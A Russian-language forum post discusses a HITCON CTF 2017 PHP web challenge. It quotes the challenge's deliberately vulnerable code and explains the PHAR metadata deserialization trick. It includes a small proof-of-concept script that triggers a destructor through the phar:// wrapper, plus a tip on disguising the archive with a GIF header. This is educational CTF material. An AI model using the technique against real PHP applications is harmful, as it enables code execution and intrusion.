Огненный подгон от тайваньский друзей.
Давеча прошёл HITCON CTF Quals (https://ctf2017.hitcon.org/dashboard/). Там были веб-таски от Orange.
Один из них никто не решил:
Цитата:
Baby^H Master PHP 2017
PHP is the best programming language in the world!
http://13.115.31.205
|
Код таска:
PHP код:
<?php
$FLAG = create_function("", 'die(`/read_flag`);');
$SECRET = `/read_secret`;
$SANDBOX = "/var/www/data/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($SANDBOX);
@chdir($SANDBOX);
if (!isset($_COOKIE["session-data"])) {
$data = serialize(new User($SANDBOX));
$hmac = hash_hmac("sha1", $data, $SECRET);
setcookie("session-data", sprintf("%s-----%s", $data, $hmac));
}
class User {
public $avatar;
function __construct($path) {
$this->avatar = $path;
}
}
class Admin extends User {
function __destruct(){
$random = bin2hex(openssl_random_pseudo_bytes(32));
eval("function my_function_$random() {"
." global \$FLAG; \$FLAG();"
."}");
$_GET["lucky"]();
}
}
function check_session() {
global $SECRET;
$data = $_COOKIE["session-data"];
list($data, $hmac) = explode("-----", $data, 2);
if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac))
die("Bye");
if ( !hash_equals(hash_hmac("sha1", $data, $SECRET), $hmac) )
die("Bye Bye");
$data = unserialize($data);
if ( !isset($data->avatar) )
die("Bye Bye Bye");
return $data->avatar;
}
function upload($path) {
$data = file_get_contents($_GET["url"] . "/avatar.gif");
if (substr($data, 0, 6) !== "GIF89a")
die("Fuck off");
file_put_contents($path . "/avatar.gif", $data);
die("Upload OK");
}
function show($path) {
if ( !file_exists($path . "/avatar.gif") )
$path = "/var/www/html";
header("Content-Type: image/gif");
die(file_get_contents($path . "/avatar.gif"));
}
$mode = $_GET["m"];
if ($mode == "upload")
upload(check_session());
else if ($mode == "show")
show(check_session());
else
highlight_file(__FILE__);
Решение:
https://github.com/orangetw/My-CTF-W...aster-php-2017
Так вот, внезапно выясняется, что PHP производит десериализацию метаданных при чтении PHAR-архива, и почему-то никто из нас этого не знал.
Пруф в сорцах:
https://github.com/php/php-src/blob/...ar/phar.c#L609
Пруф вектор:
http://view-source:https://raw.githu...017/avatar.gif
Почему-то никто про это не знал.
Цитата:
[13:13] <Beched> wow!
[13:13] <Beched> https://github.com/php/php-src/blob/238916b5c9b7d09a711aad5656710eb4d1a80518/ext/phar/phar.c#L609
[13:14] <Beched> omg is this common knowledge? =)
[13:14] <Beched> where did you learn that PHP deserializes metadata in phars?
[13:14] <Beched> somehow no one knew that among us
[13:27] <orange_> I read the PHP source code in my free time
[13:27] <orange_> I think both tricks are not seen on the Internet
[13:27] <orange_> That's why nobody solve it 
[13:38] <Beched> yeah that's cool
[13:38] <Beched> turning arbitrary read into unserialize
|
А вот как можно проверить у себя:
PHP код:
<?php
if(count($argv) > 1) {
@readfile("phar://./deser.phar");
exit;
}
class Hui {
function __destruct() {
echo "PWN\n";
}
}
@unlink('deser.phar');
try {
$p = new Phar(dirname(__FILE__) . '/deser.phar', 0);
$p['file.txt'] = 'test';
$p->setMetadata(new Hui());
$p->setStub('<?php __HALT_COMPILER(); ?>');
} catch (Exception $e) {
echo 'Could not create and/or modify phar:', $e;
}
?>
Создаём PHAR:
Код:
$ php -dphar.readonly=0 proof.php
PWN
Проверяем десериализацию при чтении:
Код:
$ php -dphar.readonly=0 proof.php 1
PWN
Зависимости:
Обёртка phar:// не работает с удалёнными хостами, поэтому нужно сначала загрузить файл на сервер. Но наличие стаба позволяет сформировать произвольный заголовок (в таске, например, нужно было вставить GIF89a в начало).